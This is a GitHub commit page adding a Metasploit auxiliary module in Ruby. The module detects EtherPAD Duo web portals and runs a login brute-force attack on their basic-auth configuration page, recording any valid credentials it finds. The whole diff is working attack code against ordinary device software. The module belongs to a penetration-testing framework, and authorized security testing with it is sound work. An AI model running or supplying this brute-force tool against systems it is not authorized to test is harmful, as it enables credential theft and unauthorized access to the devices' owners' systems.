Skip to content

Commit fb59221

Browse files
committed
Land rapid7#2494, @juushya's etherpadduo login module
2 parents 0d07fb6 + d92a7ad commit fb59221

File tree

1 file changed

+105
-0
lines changed

1 file changed

+105
-0
lines changed
Lines changed: 105 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,105 @@
1+
##
2+
# This module requires Metasploit: http//metasploit.com/download
3+
# Current source: https://github.com/rapid7/metasploit-framework
4+
##
5+
6+
require 'msf/core'
7+
8+
class Metasploit3 < Msf::Auxiliary
9+
include Msf::Exploit::Remote::HttpClient
10+
include Msf::Auxiliary::Report
11+
include Msf::Auxiliary::AuthBrute
12+
include Msf::Auxiliary::Scanner
13+
14+
def initialize(info={})
15+
super(update_info(info,
16+
'Name' => 'EtherPAD Duo Login Brute Force Utility',
17+
'Description' => %{
18+
This module scans for EtherPAD Duo login portal, and
19+
performs a login brute force attack to identify valid credentials.
20+
},
21+
'Author' =>
22+
[
23+
'Karn Ganeshen <KarnGaneshen[at]gmail.com>',
24+
],
25+
'License' => MSF_LICENSE
26+
))
27+
28+
end
29+
30+
def run_host(ip)
31+
unless is_app_epaduo?
32+
return
33+
end
34+
35+
print_status("#{peer} - Starting login brute force...")
36+
each_user_pass do |user, pass|
37+
do_login(user, pass)
38+
end
39+
end
40+
41+
#
42+
# What's the point of running this module if the target actually isn't EtherPAD Duo
43+
#
44+
45+
def is_app_epaduo?
46+
begin
47+
res = send_request_cgi(
48+
{
49+
'uri' => normalize_uri('/', 'CGI', 'mParseCGI'),
50+
'method' => 'GET',
51+
'vars_get' => {
52+
'file' => 'mainpage.html'
53+
}
54+
})
55+
rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout, ::Rex::ConnectionError
56+
vprint_error("#{peer} - HTTP Connection Failed...")
57+
return false
58+
end
59+
60+
if (res and res.code == 200 and res.headers['Server'].include?("EtherPAD") and res.body.include?("EtherPAD Duo"))
61+
vprint_good("#{peer} - Running EtherPAD Duo application ...")
62+
return true
63+
else
64+
vprint_error("#{peer} - Application is not EtherPAD Duo. Module will not continue.")
65+
return false
66+
end
67+
end
68+
69+
#
70+
# Brute-force the login page
71+
#
72+
73+
def do_login(user, pass)
74+
vprint_status("#{peer} - Trying username:#{user.inspect} with password:#{pass.inspect}")
75+
76+
begin
77+
res = send_request_cgi(
78+
{
79+
'uri' => normalize_uri('/', 'config', 'configindex.ehtml'),
80+
'method' => 'GET',
81+
'authorization' => basic_auth(user, pass)
82+
})
83+
rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout, ::Rex::ConnectionError, ::Errno::EPIPE
84+
vprint_error("#{peer} - HTTP Connection Failed...")
85+
return :abort
86+
end
87+
88+
if res && res.code == 200 && res.body.include?("Home Page") && res.headers['Server'] && res.headers['Server'].include?("EtherPAD")
89+
print_good("#{peer} - SUCCESSFUL LOGIN - #{user.inspect}:#{pass.inspect}")
90+
report_hash = {
91+
:host => rhost,
92+
:port => rport,
93+
:sname => 'EtherPAD Duo Portal',
94+
:user => user,
95+
:pass => pass,
96+
:active => true,
97+
:type => 'password'
98+
}
99+
report_auth_info(report_hash)
100+
return :next_user
101+
else
102+
vprint_error("#{peer} - FAILED LOGIN - #{user.inspect}:#{pass.inspect}")
103+
end
104+
end
105+
end

0 commit comments

Comments
 (0)